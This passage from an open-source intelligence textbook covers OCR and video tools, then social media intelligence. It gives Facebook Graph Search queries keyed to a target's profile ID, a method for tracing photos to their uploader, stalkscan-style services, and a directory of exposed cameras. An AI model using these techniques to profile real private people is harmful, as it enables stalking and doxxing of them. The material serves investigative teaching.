you may encounter text written inside images. This text should be extracted first so that it can be edited, formatted, indexed, searched, or translated. The following are popular tools and web services for extracting text from images, known as optical character recognition (OCR): • FreeOCR (www.paperfile.net/index.html) • Free Online OCR (www.i2ocr.com) • NewOCR (www.newocr.com) Chapter 4 SearCh engine teChniqueS 190 Figure 4-30. Opening an image file using Google Doc Google Drive and Google Docs have integrated OCR support enabled by default. To use this service, you need to upload the image into your Google Drive account (you must have a Google account first) at https://www.google.com/drive. Then right-click the uploaded image, select Open With, and choose Google Docs (see Figure 4-30). Chapter 4 SearCh engine teChniqueS 191 You will notice that Google has presented your uploaded image on the top of the document and created an editable OCR text below it (see Figure 4-31). Video The technological revolution has affected the way people communicate. For instance, Internet speed is increasing steadily and has become more affordable in most countries around the world. Computing devices such as tables and smartphones are getting cheaper, and almost anyone can acquire one. Many of these devices come equipped with powerful cameras. In fact, people have become used to recording their daily moments using videos; video-sharing websites allow anyone to upload a video file with just a simple click using each site’s app. Figure 4-31. Google Doc changed the text within the uploaded image into editable text Chapter 4 SearCh engine teChniqueS 192 Video contents can be of great value in any online investigation. In this section, we will list the most important video-sharing sites where you can find different kinds of videos. Then we will cover some techniques and tools to investigate the video content. Basic Video Search Here are the most popular sites: • YouTube (https://www.youtube.com) • Google videos (https://www.google.com/videohp) • Yahoo video search (https://video.search.yahoo.com) • Bing videos (https://www.bing.com/videos) • AOL (https://www.aol.com/video) • StartPage video search (https://www.startpage.com/eng/video.html) • Veoh (www.veoh.com) • Vimeo (https://vimeo.com) • 360daily (www.360daily.com) • Official Facebook video search (https://www.facebook.com/pg/ facebook/videos) • Crowd Tangle (Facebook video search) (www.crowdtangle.com/ videosearch) • Internet archive open source movies (https://archive.org/ details/opensource_movies) • Live Leak (https://www.liveleak.com) • Facebook live video map (http://facebook.com/livemap); see Figure 4-32 Chapter 4 SearCh engine teChniqueS 193 Here are some other video sites: • Meta Tube (www.metatube.com): This is like YouTube.com. • Geo Search Tool (http://youtube.github.io/geo-search-tool/ search.html): This searches for all movies according to a specific query entered by the user. The result set will be further filtered according to the distance from a specific location (city, village, intersection) and according to a specific time frame (past hour, past two or three hours, etc.). • Earth Cam (www.earthcam.com): This is a global network of live cameras providing live streaming video from different regions in the world. • Insecam (www.insecam.org): This is a directory of online surveillance security cameras. Figure 4-32. Facebook live video stream is another source for OSINT investigation Chapter 4 SearCh engine teChniqueS 194 Figure 4-33. Using YouTube DataViewer to extract metadata about any YouTube video Note! You can use google to search within any video-sharing site by typing the following search query: site:youtube.com SEARCHTERM replace YouTube with the video site. Video Analysis These are the most popular sites: • YouTube DataViewer from Amnesty International (https:// citizenevidence.amnestyusa.org): This is an online service that allows you to extract hidden information from videos uploaded to YouTube (see Figure 4-33) like the upload date/time and thumbnails (you can also make a reverse image search on extracted thumbnails using a Google reverse image search). Chapter 4 SearCh engine teChniqueS 195 • Ez Gif  (https://ezgif.com/reverse-video): This is a reverse video search and offers many other useful video conversion tools. • Print YouTube Video (https://www.labnol.org/internet/print- youtube- video/28217/): To print a YouTube video storyboard, go to the link provided and add Print YouTube Video to the browser bookmark toolbar. To print any YouTube movie, just access the YouTube video page and click the bookmark (see Figure 4-34). A new page will appear that contains the generated video storyboard images. Figure 4-34. Print YouTube Videos (source: https://www.labnol.org/internet/ print-youtube-video/28217/) • Video to Text Converter (www.360converter.com/conversion/ video2TextConversion): This converts video/audio files into text. • Montage (https://montage.storyful.com): This allows team collaborations for analyzing video content. Chapter 4 SearCh engine teChniqueS 196 File Extension and File Signature List Knowing file extensions and signatures will help you to identify and investigate digital files during your OSINT gathering. The following are two websites for this issue: • File Extensions (https://www.file-extensions.org/): This library contains thousands of file extensions and their descriptions. • File Signature Table (https://garykessler.net/library/ file_sigs.html): List of file extensions and their associated Hex signature. Productivity Tools In Chapter 2, we covered some useful tools for making your online investigations more organized. We deferred mentioning the remaining tools until now as they relate to file- searching techniques. Screen Capture Sometimes you need to take a screen capture of the whole screen or part of the screen to capture important information (for example, to capture a pop-up message or a portion of online map) and include it in your investigation report. There are many tools to achieve this; these are two popular solutions: • Awesome Screenshot Plus (https://addons.mozilla.org/en-US/ firefox/addon/screenshot-capture-annotate/): This is a Firefox add-on; it can be used to capture the whole page or any portion of it; annotate it with rectangles, circles, arrows, lines, and text; blur sensitive information; and much more. • Greenshot (http://getgreenshot.org): This is an open source screenshot program for Windows. It allows you to create screenshots of a selected region, window, or full screen. It has a built-in image editor to annotate, highlight, or obfuscate parts of the captured screenshots (see Figure 4-35). Chapter 4 SearCh engine teChniqueS 197 • Screenshot Machine (https://screenshotmachine.com): This site allows you to take an online screen capture of any specified URL. The captured image can be downloaded to your device. • PDF My URL (http://pdfmyurl.com): This is an online service to create PDF documents from any URL in your browser. Download Online Video Online investigations require you to search and investigate video files to extract useful hidden information. Sometimes you may need to save (download) a video from the Internet—for example, from a YouTube website—to include it in your investigation or to analyze it further. There are many ways to download videos from the Internet; the easiest method is to use browser add-ons. Easy YouTube Video Downloader Express This is a Firefox add-on to download videos from YouTube. It allows the direct download of high-quality video/audio from YouTube (1080p full-HD and 256Kbps MP3) with a single click. You can find it at https://addons.mozilla.org/en-US/firefox/addon/ easy-youtube-video-download. YooDownload If you prefer to use a web service to download videos from different social sites online, YooDownload will help to achieve this easily. Go to https://yoodownload.com/ index.php and insert the video URL from the social platform (YouTube, Facebook, Instagram, Twitter, Vid, and SoundCloud music); you can also select the video quality before download. The website also offers a browser extension for the Chrome browser. Figure 4-35. Greenshot can perform different annotation actions on captured images and is easy to use Chapter 4 SearCh engine teChniqueS 198 Dredown At https://www.dredown.com, you can download videos from all major video-sharing sites such as YouTube, Facebook, Instagram, Keek, Twitter, Twitch, Vimeo, Vevo, Tumblr, and more. You can find other websites for downloading video contents online at http://deturl.com. Video/Audio Converter You may encounter cases—during your search for videos—where you cannot open a specific video/audio file because of its file format type. To counter such issues, you can use software to convert a video file from its current file format to another one so it can work on supported devices. • HandBrake (https://handbrake.fr): This is an open source program for processing multimedia files and any DVD or Blu-ray disc into a readable format on supported devices; it also supports encoding different audio file types. • Convert2mp3 (www.convert2mp3.net): This is an online service that converts videos with different file formats into MP3 and other audio file formats. Warning! there are many web extensions already available to download/convert media files from the internet. however, we prefer not to use such add-ons as they can gain access to our browser web history, and this may result in a privacy invasion, especially when working on sensitive cases that require secrecy. Using online services should be more secure when you use these two precaution measures: A. Do not supply information when using this service (e.g., e-mail, phone number, etc.) B. access such services over a Vpn connectio n (or using the tor Browser). Chapter 4 SearCh engine teChniqueS 199 File Search Tools After collecting a large number of files as part of your online investigation, you may have difficulty finding one specific piece of information when you need it. All operating systems have a built-in search function to locate files and folders on the computer drive. However, they lack an advanced search feature like those offered by some dedicated tools. They are also known to be time-consuming especially when using the Windows search feature on computers with old hardware. (Windows performs background search indexing and consumes a considerable amount of system RAM because it performs thousands of write operations on the hard drive, resulting in slowing down the computer; this problem appears clearly on Windows Vista.) Being able to search through the files you have collected is an integral part of your OSINT analyzing skills. Your ability to find files fast through automated search will save considerable time than when conducting such searches manually. To speed up file searches on your computer, you need to have an index of your stored files. The idea is like how people query search engines. When someone queries Google for a search term, Google will search for this term in its index database. When a match is found, the URLs associated with the index search results get retrieved and displayed on the user’s browser. Searching for files on computers is similar. You need to have an index of all file names and their locations on your computer hard drives. The list (index) will get stored in a database. Whenever you search for something, you will query the database instead of asking Windows to search manually across all files and folders on the drive. This will effectively give you the fastest results, especially if you have millions of files on your computer hard drive. Windows can create such an index to locate files faster. However, there are better programs that can do the job better and have more advanced search features. These are some of them: • Locate32 (http://locate32.cogit.net): Upon the first run, you need to go to the File menu and select Update Databases. This will create the database file that contains the names of all files/folders along with their locations on all hard drives (see Figure 4-36). Chapter 4 SearCh engine teChniqueS 200 • Everything (www.voidtools.com): This is a small program that consumes very little system resources; it creates an index database automatically upon start and can index files very fast (it needs one minute to index 1,000,000 files) and can search within file contents. You can search using different methods such as Boolean, regex, wildcards, file types, and macros. • FileSeek (free edition) (https://www.fileseek.ca): This uses multithreading technology to speed up searches and can synchronize search results across different computers in addition to searching within the file’s contents using regular expressions. • Open Semantic Search (https://www.opensemanticsearch.org): This open source search engine comes with integrated research tools for easier searching, monitoring, analytics, discovery, and text mining of heterogenous and large document sets and news. It can be installed on your own server or enterprise server and comes with plenty of excellent search features. It is suitable for teams conducting OSINT research on a large volume of datasets. Figure 4-36. Locate32 sample search result Chapter 4 SearCh engine teChniqueS 201 Summary In this chapter, we thoroughly covered how to use basic and advanced search engine techniques to locate information online. Although most of your work in this chapter was focused on retrieving data from the surface web, we showed techniques for extracting data from the deep web and provided direct links to a variety of deep web repositories to retrieve information from it. Major search engines allow its users to search for multimedia content such as videos and images. However, there are specialized search engines for FTP servers and multimedia contents that can return even more results. Bear in mind that images and videos retrieved from the Web can contain useful information associated with them— known as metadata—that should be retrieved first. These files must also be investigated using specialized tools to make sure that they have not been manipulated in any way before considering them valid. In the next chapter, we will continue our discussion of online search techniques, but there we will focus on using different techniques and services to find information about specific people using social media sites and other specialized people-searching engines. Notes i. Netcraft, “January 2017 Web Server Survey” December 05, 2017 https://news.netcraft.com/archives/2017/01/12/january- 2017-web-server-survey.html ii. WWW Size, “The size of the World Wide Web (The Internet)” December 05, 2017 www.worldwidewebsize.com iii. Smart insights “Search Engine Statistics 2017” December 05, 2017 https://www.smartinsights.com/search-engine-marketing/ search-engine-statistics iv. IEEE, “FTP: The Forgotten Cloud” December 05, 2017 https://www.computer.org/csdl/proceedings/ dsn/2016/8891/00/8891a503.pdf Chapter 4 SearCh engine teChniqueS 203 © Nihad A. Hassan, Rami Hijazi 2018 N. A. Hassan and R. Hijazi, Open Source Intelligence Methods and Tools, https://doi.org/10.1007/978-1-4842-3213-2_5 CHAPTER 5 Social Media Intelligence In today’s digital age, it is rare to meet a person who is connected to the Internet who doesn’t have an account on one or more social media sites. People use social sites to socialize, play games, shop, communicate online, and seek information about anything you can imagine. Facebook, Twitter, YouTube, LinkedIn, and Google have become integral parts of our lives, and hundreds of millions of people spend considerable amounts of time on these platforms daily. Check out these statistics about the global usage of social media sites: • As of October 2017, the total worldwide population was 7.6 billion.i Of those, 3.5 billion people have an Internet connection, and 3.03 billion of those connected users have an active presence on one or more social media platform.ii • Each Internet user has an average of seven social media accounts.iii • Facebook has 2.07 billion monthly active users as of the third quarter of 2017.iv • As of the third quarter of 2017, Twitter has 330 million monthly active users. • As of April 2017, LinkedIn has 500 million users in 200 countries.v Social media sites open numerous opportunities for any investigation because of the vast amount of useful information that can be found on them. For example, you can get a great deal of personal information about any person worldwide by just checking this person’s Facebook page. Such information often includes the person of interest’s connections on Facebook, political views, religion, ethnicity, country of origin, personal images and videos, spouse name (or marital status), home and work addresses, frequently visited locations, social activities (e.g., sports, theater, and restaurant visits), 204 work history, education, important event dates (such as birth date, graduation date, relationship date, or the date when left/start a new job), and social interactions. This can all be found in one Facebook profile, for example. Facebook also helps an outside observer to understand how a particular Facebook user perceives life by just checking the user’s current activities and social interactions. Many estimates show that 90 percent of useful information acquired by intelligence services comes from public sources (OSINT), and the rest comes from traditional covert spying intelligence. Security services gather information in bulk from social sites to gain insight about possible future events worldwide and to profile people on a national scale. Aside from intelligence gathering, law enforcement uses social media sites as investigative resources to fight crimes. For instance, checking a suspect’s Facebook page—or his relatives’ and friends' pages—may reveal important information about a criminal case. Sometimes the suspect could be anonymous, but the police could have a picture of him taken by surveillance cameras. In such cases, police use social media sites to engage the public in identifying suspects. Social sites can also be used to track and locate suspects in addition to understanding their behaviors. However, bear in mind that using the information gathered from social media sites in a legal case is generally allowed under these two conditions: • When acquiring permission from a court to gather information about a specific user, a court order is sent to the intended social media site to hand the information to authorities officially. • If the information is available publicly (e.g., public posts, images, or videos), then law enforcement can acquire it without a permit, which is the essence of the OSINT concept. Intelligence gathered from social media can also be useful in the corporate world. For instance, employers can conduct a background check about prospective candidates before offering them a vacancy. The same applies to insurance companies and banks before offering some services (e.g., an insurance contract or a bank loan) to their clients. Global companies—operating in different countries—need to have some form of intelligence about new markets before entering them. Indeed, social media exploitation has become integrated into the majority of businesses to support the decision-making process. Chapter 5 SoCial Media intelligenCe 205 Warning! Using the information published on social sites to acquire intelligence about a prospect employee should be handled carefully in accordance with the law to avoid triggering a claim of discrimination by the prospective employee. In this chapter, we will show investigators how to find information on social media sites. There are a plethora of tools and online services to dive beyond basic the search functions available for each social site. We will demonstrate how to use such services/tools to aggregate information about any target online, but before we begin our discussion about how to retrieve information from the most popular social media sites, we’ll first explain the term social media intelligence and differentiate between the different types of social media sites currently available. What Is Social Media Intelligence? Social media intelligence (SOCMINT) refers to the information gathered from social media platforms. The resources available on social media sites can be either open to the public (e.g., public posts on Facebook) or private. Private information cannot be accessed without proper permission (e.g., Facebook private messages or posts shared with friends). There is a debate between privacy advocates and other security experts about whether information available on social media sites is OSINT. Although the majority of social media sites require their users to register before accessing site contents in full, many surveys show that social media users expect to have some form of privacy for their online activities (even when posting content with public access). However, security experts generally consider information shared on social media sites as belonging to the OSINT domain because it is public information shared on public online platforms and thus can be exploited for different purposes. Note! Many U.S. states (about 25 states in 2017vi) imposed different restrictions regarding employers’ access to workers’ (applicants or employees) social media accounts. however, this does not mean that your social media interactions will not get observed—secretly—in one way or another. Chapter 5 SoCial Media intelligenCe 206 There are different types of social media sites, but before listing them, let’s first see what content people can publish on social media platforms to get to know the types of information that you can expect to gather. Social Media Content Types Aside from browsing the content, people interact with social media sites for different purposes. The following are the general interactions used across different social media sites: • Post/comment: People access social sites to post or write paragraphs of text that can be seen by other users. Each social platform has its own name. On Twitter it’s called a tweet, while on Facebook it’s called a post or a comment when commenting on other user post. This text can be combined with images, videos, and URLs. See Figure 5-1 for a sample LinkedIn post. • Reply: This is a text message (can also be an image, video, or URL) that replies to another user’s post, update status, or comment. Figure 5-1. Sample post on LinkedIn, which can be associated with either an image or video. The same post can also be shared on Twitter (which requires connecting your Twitter account with your LinkedIn profile). Chapter 5 SoCial Media intelligenCe 207 • Multimedia content (images and videos): Multimedia is popular; a user can upload a video or image as a part of their post. Many social platforms allow their users to upload multiple images/videos to form an album. Live streams also are available on many social platforms such as Facebook and YouTube. This feature allows a user to broadcast live videos and display the recording on their profiles for later viewing. • Social interactions: This is the essence of social media sites, where people get connected online by sending/responding to friend requests sent by their friends, work and study colleagues, roommates, neighbors, family members, and favorite celebrities or actors. The set of online relationships forms what is known as social networking. • Metadata: The results from the sum of user interactions with the social platform. Examples include the date and time when a video/ image was uploaded, the date and time when a friend request was accepted, geolocation data—if enabled—of the uploaded multimedia file or post, and the type of device used to upload the contents (mobile or a standard computer). Online investigators want to acquire all these content types—if possible—when conducting their investigations. This ability to do this depends on the privacy control level set by each user when publishing posts/updates online. For example, it is not possible to see other people’s updates on Facebook (see Figure 5-2) if they restrict a post’s visibility to some friend circles or set it to “Only me.” Chapter 5 SoCial Media intelligenCe 208 Bear in mind that information shared on social media sites with family or friend circles cannot be guaranteed to remain private. For example, when you share a personal photo of yourself with a friend and this friend shares this photo in a public status, then others can see your personal photo even though you shared it privately at first. Classifications of Social Media Platforms Many people use the terms social media and social networking interchangeably to refer to Facebook, Twitter, LinkedIn, and related social platforms. This is not absolutely wrong, but it is not accurate because social media is the main umbrella that contains other categories like “social networking” that holds sites like Facebook. Social media contains other types that have similar roles in facilitating interactions between people online. The following are the main social media types classified according to function: • Social networking: This allows people to connect with other people and businesses (brands) online to share information and ideas. The most obvious examples of this type are Facebook and LinkedIn. (The latter is more focused on the corporate world but shares many similar features with Facebook.) Figure 5-2. Facebook privacy options to limit a post’s visibility Chapter 5 SoCial Media intelligenCe 209 • Photo sharing: Such websites are dedicated to sharing photos between users online. The most popular ones are Instagram (https://www. instagram.com) and Flicker (https://www.flickr.com). • Video sharing: Such websites are dedicated to sharing videos, including live video broadcasts. The most popular one is https:// www.youtube.com. Sharing multimedia content is feasible via social networking sites such as Facebook (which offers live video broadcast) and LinkedIn. However, video-sharing sites—like YouTube.com— are dedicated to sharing multimedia content and contain a limited amount of text within them (mainly allowing users to comment on the uploaded videos). • Blogs: This is a type of informational website containing a set of posts—belonging to one topic or subject—organized in descending order according to the publish date. A first blogs were based on static HTML content and created/operated by one author. With the advance of web publishing tools and the emergence of Web 2.0 technology—which simplifies posting content online by nontechnical users—blog usage has been boosted and become available to anyone who wants to have a place online to share his/her ideas. The most popular blogging platforms are WordPress (https:// wordpress.com) and Blogger (https://www.blogger.com), which is powered by Google. • Microblog: This allows users to publish a short text paragraph (which can be associated with an image or video) or a link (URL) to be shared with other audience online. The most popular microblogs are Twitter (https://twitter.com) and Tumbler (https://www.tumblr.com). • Forums (message board): This is one of the oldest types of social media. It allows users to share ideas, opinions, expertise, information, and news and discuss it with other users in a form of posted messages and replies. Forums usually come organized into topics. The most popular ones now are Reddit (https://www.reddit.com) and Quora | (https://www.quora.com). Chapter 5 SoCial Media intelligenCe 210 • Social gaming: This refers to playing games online with other players in different locations. Social games allow users to collaborate from different parts around the world to form teams or to challenge other individuals/groups. Facebook has many social games that can be played within a user’s web browser; you can check them out at https://www.facebook.com/games. • Social bookmarking: These websites offer a similar function to your web browser’s typical bookmark. However, they allow you to do this online and share your Internet bookmarks among your friends in addition to adding annotations and tags to your saved bookmarks. Many bookmarking services allow their users to sync the bookmarks with any device or browser, making your bookmarks accessible on multiple devices at the same time. The most popular bookmarking services are Atavi (https://atavi.com), Pinterest (www.pinterest.com), and Pocket (https://getpocket.com). • Product/service review: These websites allow their users to review— give feedback—about any product or service they have used. Other people will find such reviews useful to aid them in their buying decisions. The most popular review sites are Yelp (https://www. yelp.com) and Angie’s List (www.angieslistbusinesscenter.com). Popular Social Networking Sites Not all social media sites have the same popularity among users worldwide. Figure 5-3 shows statistics published by Statista.com in September 2017 listing the most popular social media sites ranked by number of active users (in millions). The nature of social media sites is changing rapidly, so such statistics are expected to change frequently during the course of the year. However, the major players are expected to continue dominating the social media market for the near future. Chapter 5 SoCial Media intelligenCe 211 Investigating Social Media Sites In this section, we discuss the most popular social media sites and demonstrate how to conduct a smarter search on each one to extract useful and hidden information that cannot be fetched using each site’s standard search function. The focus will be on social networking sites because searching within multimedia content was covered in the previous chapter. These sites contain a wealth of personal information and social interactions that can be useful for online investigations. Facebook Facebook (www.facebook.com) is the most popular social networking site with the largest active user base on Earth. Facebook has currently more than 2 billion active users worldwide. Facebook is an American company; founded by Mark Zuckerberg in 2004, it was originally developed for Harvard University students to share social information. However, it expanded its membership later to accept students from different U.S. universities. In 2006, Facebook allowed anyone—older than 13 years old with a valid email address—to become a registered member and use its service. Figure 5-3. Popular social media sites (source: https://www.statista.com/ statistics/272014/global-social-networks-ranked-by-number-of-users/) Chapter 5 SoCial Media intelligenCe 212 Facebook is so popular that anyone who have an Internet connection worldwide is expected to have a Facebook account! Facebook facilitates sharing different types of online content (images, videos, text messages, live broadcast, check-ins) between people, which is what makes it popular among varied user groups around the globe. A lot of information can be found in each Facebook user account. For instance, to create a Facebook account, you need to supply your email (or phone number) as a username, a password, your date of birth, and your gender. After creating and activating your Facebook account, you can add more information about yourself such as work and education information, places you have lived in, contact information (email, phone number, address, a public key for receiving encrypted messages), religious and political views, languages, other social accounts (Twitter and LinkedIn), your personal blog or website, family and relationships, and other information about you in addition to live events. Facebook allows its registered users to do different social interactions such as the following: • Share updates, photos, videos, and geolocation data (e.g., your current location using the check-in feature) with friends • See friends’ updates/posts, respond with comments, and like or share their updates • Invite your friends to join groups and attend events • Chat using Facebook Messenger and send direct private messages to another Facebook member • Play online games within your web browser (multiplayers games are supported) • Follow company/brand news • Make connections with your favorite actors, celebrities, and other public entities • Use Facebook account credentials to sign into different services across the Web • Make live video broadcasts using Facebook Live (https://live.fb.com) • Get Facebook support, which implements a variety of privacy settings on all content published by its users to restrict content visibility according to each user need Chapter 5 SoCial Media intelligenCe 213 As noted, the sum of personal information and social interactions available publicly on Facebook provides a wealth of information for any OSINT gathering. As we already said, gathering personal information from Facebook about any target is dependent on the privacy controls set for their updates and social interactions. However, many studies show that the majority of Facebook users do not give much thought to privacy issues when using this platform. The data volume stored within the Facebook database is huge. Facebook stores about 300 petabytes of data (in March 2017).vii This is equal to 300,000,000 gigabytes. Every minute on Facebook, 510,000 comments are posted, 293,000 statuses are updated, and 136,000 photos are uploaded.viii To locate information within this jungle, Facebook has developed its own search mechanism to simplify searching for different content types generated by its users’ interactions, and this what we will cover in the next section. Facebook Graph Search Facebook offers an advanced semantic search engine to locate anything within its database by using natural English language phrases and keywords. This semantic search engine is called Graph Search and was first introduced in early 2013; it allows Facebook users to type in their queries in the Facebook search box to return accurate results based on their questions/phrases or combined keywords. The returned results are quite informative and different from the traditional search approach, which works by returning lists of links based on searched keywords only. For example, you can type Pages liked by my friends and Facebook will return a list of pages liked by all your friends list, or you can simply type Pages liked by ********, replacing the asterisks with the target’s Facebook username, to return a list of pages liked by the specified user. Note! You must have a Facebook account to conduct the searches used in this chapter. it is advisable to use a dummy email account when creating this account to avoid revealing your true identity when conducting advanced searches on Facebook (specifically applicable to law enforcement). Warning! Facebook policy prohibits opening accounts with false identities. take this into consideration when using visible Facebook data for a lawsuit. Chapter 5 SoCial Media intelligenCe 214 Now, to use the Facebook Graph Search, you need first to sign into your Facebook account and then change your account language settings to use the English language (US). After doing this, your account is ready to use Facebook Graph Search. To change your Facebook account language, follow these steps: 1. Log in to your Facebook account and click the down arrow shown at the top-right corner of your screen. 2. Click Settings to access the account settings where you can change all your Facebook account settings (see Figure 5-4). 3. Click Languages on the left side of the page, and make sure that the option “What language do you want to use Facebook in?” is set to English (US), as shown in Figure 5-5. Figure 5-4. Accessing Facebook account settings Chapter 5 SoCial Media intelligenCe 215 After updating your Facebook account to use the English (US) language and thus activating Graph Search, you can type in Facebook search bar anything you want to search for. For instance, you can search for people, your target’s friends, places (towns, countries, historical places), things, photos, pages, groups, apps, events, and restaurants, in addition to entertainment such as music, movies or games. Once your search criteria is entered into the search bar, Facebook will show a list of suggestions; you can either select something from the list or opt for your entered one (see Figure 5-6). Figure 5-5. Setting the Facebook account language to English (US) to use the Facebook semantic search engine known as Graph Search Figure 5-6. Facebook showing suggested searches based on your entered search query Chapter 5 SoCial Media intelligenCe 216 Knowing how to use Facebook Graph Search is important for online investigators to exploit Facebook’s repository of data. Each Facebook account—or page—is linked to its user social interactions (like, tag, share, friends list, work, university/school and education information, movie, song, events, geolocation data, and locations). The investigator has to type the right search query to fetch such results. In a nutshell, Graph Search helps you to map each Facebook account to its associated activities on Facebook. Now we’ll give some examples of Facebook Graph Search queries to activate your imagination on how to build different search queries to extract accurate results from Facebook. To search for people on Facebook, use these queries: • Peoples named [FirstName LastName] who live in [City, State]. Here’s an example: people named Nihad Hassan who live in Buffalo, New York. • People who live in [city, state] and are [single/married] and like [something]. Here’s an example: people who work in Seattle, Washington and are single and like Lebanese restaurants. • People who are [Profession Name] and live in [City, State]. Here’s an example: People who are Programmer and live in London, UK. • People who like [Page Name] and live in [Place]. Here’s an example: people who like apress and live in New York, USA. • People who work at [Company]. Here’s an example: people who work at Apress. This query can be refined to search for people working at the Apress company as authors: people who work at Apress as author (see Figure 5-7). • People who live in [Country] and like [Page Name]. Here’s an example: people who live in USA and like Al-Qaeda. Figure 5-7. Finding people who work at a specific company with a specific role Chapter 5 SoCial Media intelligenCe 217 To search for specific pages on Facebook, try the following queries: • Pages named [Name]. Here’s an example: pages named Al-Qaeda. • Pages liked by [Name]. Here’s an example: Pages liked by Mark Zuckerberg. • Pages liked by [Profession]. Here’s an example: pages liked by teachers. To search for professions, businesses, or services, try the following search queries: • Dentist in [City]. Here’s an example: Dentist in Manhattan, New York. • [Profession Name] named [Name]. Here’s an example: Teachers named John Walker. To search for posts, use these: • Posts liked by people who like [Page]. Here’s an example: Posts liked by people who like Apress. • Posts liked by people who live in [city, state] and work at [company]. Here’s an example: Posts liked by people who live in Dallas, Texas and work at Google. • Posts by [FirstName LastName] from year. Here’s an example: Posts by Nihad Hassan from the year 2011. Tip! Monitoring a target’s “post time” on Facebook may reveal what time the person wakes up each day. Note! Using Facebook graph Search may return a large number of results. to refine your search results, you can use the graph Search filters on the left side of the page (see Figure 5-8). Chapter 5 SoCial Media intelligenCe 218 To use the advanced Facebook Graph Search, you need to know the target’s Facebook profile ID (pages and groups also have their own IDs). To get the target’s Facebook profile ID manually, do the following: 1. Go to the target’s Facebook page, right-click the page and select View Page Source (see Figure 5-9). Figure 5-8. The Facebook Graph Search filters help you to refine your search results Chapter 5 SoCial Media intelligenCe 219 2. Press Ctrl+F (in IE, Firefox, Chrome, or Opera) to search within the HTML source code. Enter profile_id as the search criteria. The number beside it is the target Facebook unique profile ID (see Figure 5-10). After knowing how to find target Facebook profile ID (the same applies to Facebook pages and groups), let’s use it to find a list of publicly viewable photos of a target. This time, you will insert your search query in a browser’s address bar instead of using the Facebook search bar. A Graph Search web address always starts with this: https://www.facebook.com/ search/. To search for photos liked by a target Facebook user, type the query shown in Figure 5-11 in a browser’s address bar (the highlighted number points to the target’s Facebook profile ID). Figure 5-9. Viewing a target’s Facebook page HTML code to find their profile ID Figure 5-10. Finding the unique Facebook profile ID Chapter 5 SoCial Media intelligenCe 220 In the same way, you can modify the query to return photos commented on or tagged by the target user. Note! replace the number 100003886582037 with your target Facebook profile id in all the following queries. Use https://www.facebook.com/search/100003886582037/photos-commented to find photos commented on by the target. Use https://www.facebook.com/search/100003886582037/photos-tagged to find all photos tagged with a target profile. The photos-of query returns all photos uploaded by the target’s profile in addition to all photos where the target was tagged or mentioned; consider this query as a container for showing all publicly available photos of a target profile: https://www.facebook.com/ search/100003886582037/photos-of. Note! Facebook photo queries also work for Videos. replace photos with videos in your search query. To see a list of places visited by your target profile, use this: https://www.facebook. com/search/100003886582037/places-visited. To see a list of places liked by target profile, use this: https://www.facebook.com/ search/100003886582037/places-liked. To see a list of places checked in at, use this: https://www.facebook.com/ search/100003886582037/places-checked-in. To see the target’s friend list (if it is set to public), use the following: https://www. facebook.com/search/100003886582037/friends. This will also reveal when each Facebook friendship began (see Figure 5-12). Figure 5-11. Searching for photos liked by a target Facebook user Chapter 5 SoCial Media intelligenCe 221 To see a list of events attended by target profile, use this: https://www.facebook. com/search/100003886582037/events-joined. If your target Facebook account has not restricted their friend list from public view, you can also conduct the following queries on your target Facebook friends: • To see a list of photos uploaded by target friends, type the following query: https://www.facebook.com/search/100003886582037/ friends/photos-uploaded. • To see a list of photos liked by target friends, use this: https://www. facebook.com/search/100003886582037/friends/photos-liked. • To see a list of photos commented on by target friends, use this: https://www.facebook.com/search/100003886582037/friends/ photos-commented. • To see the places visited by target friends, use this https://www. facebook.com/search/100003886582037/friends/places-visited. • To see the friends of target friends, use this: https://www.facebook. com/search/100003886582037/friends/friends. Figure 5-12. Investigating the target’s Facebook friend list will reveal when the target friendship relationship began Chapter 5 SoCial Media intelligenCe 222 Note! Before using Facebook graph Search, always begin your search on Facebook using your target’s full name (if you have it). although Facebook prohibits registering with false names, there is a great number of Facebook accounts with false names, so you cannot always depend on searching by name. as a second option, try to search using the target’s Facebook email address and phone number (if you have them). please note that searching using email and phone numbers will return no results if the target’s privacy control is set to prevent them from appearing on Facebook search. if nothing gives you the required results, try to access the target target’s known associate profiles; you may find something that can help you to find your target’s real profile. Other Useful Facebook Graph Search Commands To search for all people who like a specific page on Facebook, type the query shown in Figure 5-13 in your browser address bar, replacing the highlighted number with your target page profile ID. Tracking Photos Downloaded from Facebook to Its Source Profile When a user uploads a photo to Facebook, its name will get changed upon saving it in the Facebook database. The new name will usually consist of three long numbers, and the file will be in the JPG format. The second number is relevant to the Facebook profile that upload this image to Facebook originally. To know the source Facebook account behind this image, copy the second number and paste it after Facebook web address www.facebook.com/. This should take you to the source Facebook profile (see Figure 5- 14). For this tip to work, the image of interest should be posted publicly or your Facebook account must be a friend of the target profile if the image was originally shared with the friend circle. Figure 5-13. Finding all people who like a specific page on Facebook Chapter 5 SoCial Media intelligenCe 223 Note! Many Facebook users use the same profile photo across different social platforms. to conduct a reverse image search to see where a particular Facebook profile photo appears online, use a service like google images (https:// images.google.com) or tineye (www.tineye.com). Figure 5-14. Tracking a picture downloaded from the Internet to its source Facebook account uploader Chapter 5 SoCial Media intelligenCe 224 Using Google to Search Facebook Content Google can be used effectively to search within Facebook public pages using the site:facebook.com search operator, which limits a Google search to a specified website only. Other Google advanced search operators—already covered in Chapter 4—can be used to locate accurate information within Facebook. See Figure 5-15 for an example. Search for Hashtags on Facebook To search for posts, photos, or pages that have hashtags, type the Facebook address into the web browser address bar followed by the specified hashtag, as in https://www. facebook.com/hashtag. For example, entering https://www.facebook.com/hashtag/Terrorism will display related contents on Facebook that carry the #Terrorism hashtag. Tip! You can search multiple social media sites (Facebook, twitter, pinterest, instagram) for a specific hashtag by going to https://www.hashatit.com. Using Automated Services to Facilitate Facebook Graph Search Searching using Facebook Graph Search is easy; you need to use your imagination and create queries that best suit your needs. There are online services that facilitate using Graph Search; all you need to do is to enter target Facebook username or profile ID, and the online service will conduct the advanced search queries—already discussed—for you (of course, only public viewable information will appear). The following are the most popular Facebook Graph Search generators. Figure 5-15. Using a Google advanced search operator to locate information within Facebook Chapter 5 SoCial Media intelligenCe 225 Facebook Scanner This website (https://stalkscan.com) allows you to investigate the public information of any Facebook user. To use this service, enter the Facebook URL of the target profile, and the site will populate the page with all the public social interactions produced by the profile of interest (see Figure 5-16). Graph This site (http://graph.tips) offers a simple graphical user interface to use the Facebook Graph Search to locate public information about any Facebook user. You need to supply the target’s Facebook username (which can be extracted from visiting the target’s Facebook profile page, as shown in Figure 5-17), and the website will do the remaining work for you. Figure 5-16. This site can reveal public information from any Facebook profile Chapter 5 SoCial Media intelligenCe 226 peoplefindThor This site (https://peoplefindthor.dk) is a Facebook Graph Search generator with the most commonly used filters (see 